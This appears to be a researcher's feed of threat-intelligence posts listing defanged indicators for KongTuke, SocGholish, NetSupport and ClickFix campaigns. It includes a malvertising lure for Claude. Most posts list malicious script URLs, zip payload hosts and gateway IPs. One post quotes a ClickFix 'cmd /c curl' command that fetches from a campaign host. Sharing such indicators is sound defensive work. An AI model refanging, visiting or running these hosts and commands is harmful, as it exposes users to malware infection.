2026-04-22: Malicious ad ( #Malvertizing ) for Claude leads to #ClickFix style page for #macOS #malware Details at www.malware-traffic-analysis.net/2026/04/22/i... I've read about this activity from other sources, but this is the infection I generated in my lab and finally got around to posting.

heethcote/.com/file.js Or zgsjyxzx/.com/file.js Or stromao/.com/file.js #clickfix base64 -> cmd /c “curl -s Hxxps://oeannon/.com/t2?tk=…

#netsupport Hxxps://qertyblossom/.top/redirect/logout-parser.js | signin-core.php Hxxps://informationgarrden/.topredirect/logout-parser.js | signin-core.php Hxxps://flownoperator/.com

#Kongtuke hxxps://sismebtp/.com/6d4f.js

#socgholish Hxxps://support/.eztechnj.com

📣 I partnered with @13cubed.bsky.social for a Valentine's Day Giveaway! 🎁 🏆1 Grand Prize winner will receive one course of their choice from the list below + a 13Cubed Investigator T-Shirt. 👕5 winners will receive a 13Cubed Investigator T-Shirt.

#Socgholish [inject] Hxxps://upcoming/.rculabs/.com Js DL Hxxps://cpanel/.mvsea-usa/.com/

#kongtuke Hxxp://jenmartini/.com/6b7n.js

#kongtuke Hxxps://reberts/.com/6h3d.js Hxxps://reberts/.com/js.php

#kongtuke Hxxps://remaxbemidji/.com/6h7s.js

I recently completed a long-term project to deindex old web pages on my blog, and I can now turn my attention back to sharing pcaps and malware samples. I've posted 3 for December 2025, and I hope to get some more posted before the end of the year. www.malware-traffic-analysis.net/2025/index.h...

#kongtuke Hxxps://emierich/.com2o2o.js

#kongtuke Hxxps://csmultimedia/.com/5k5k.js

#kongtuke Hxxps://mckeczie/.com/4h4h.js Hxxps://clllier/.com/4r4r.js

#kongtuke Hxxps://leprixnet/.com/3s3s.js

#kongtuke Hxxps://ibuyline/.com/2d2d.js

#kongtuke Hxxps://wwexp/.com/1w1w.js

Kongtuke Hxxps://ulaicavr/.com/5t5t.js

#kongtuke Hxxp://petitesalope/.com/5t6t\.js

#kongtuke Hxxp://ukhorizons[.]com/4e5e.js

Interesting typosquat (js inject) #clickfix redirect - googletagamnager/ .com

#kongtuke return Hxxp://ichmidt /.com/6t4r.js

#netsupport Bond007 /.xyz -> getcredentialingdone /.com/hsqw.zip -> GateWay 185.163.45/.97

#netsupport warpdrive/.top sos-atlanta/.com/besm.zip GW 185.163.45/.87:443

Kongtuke Digiscap/.com/4re2.js Frederichoms/.com/4e2j.js

#kongtuke Fjcad /.com/5t6y.js

#kongtuke Waxworkx/.com/4e7u.js

#kongtuke Grrlspace/.com

#netsupport Refanprediction/.shop Zakachka/.top Krediteonlinevergleichen/.top

#kongtuke nypipeline/.com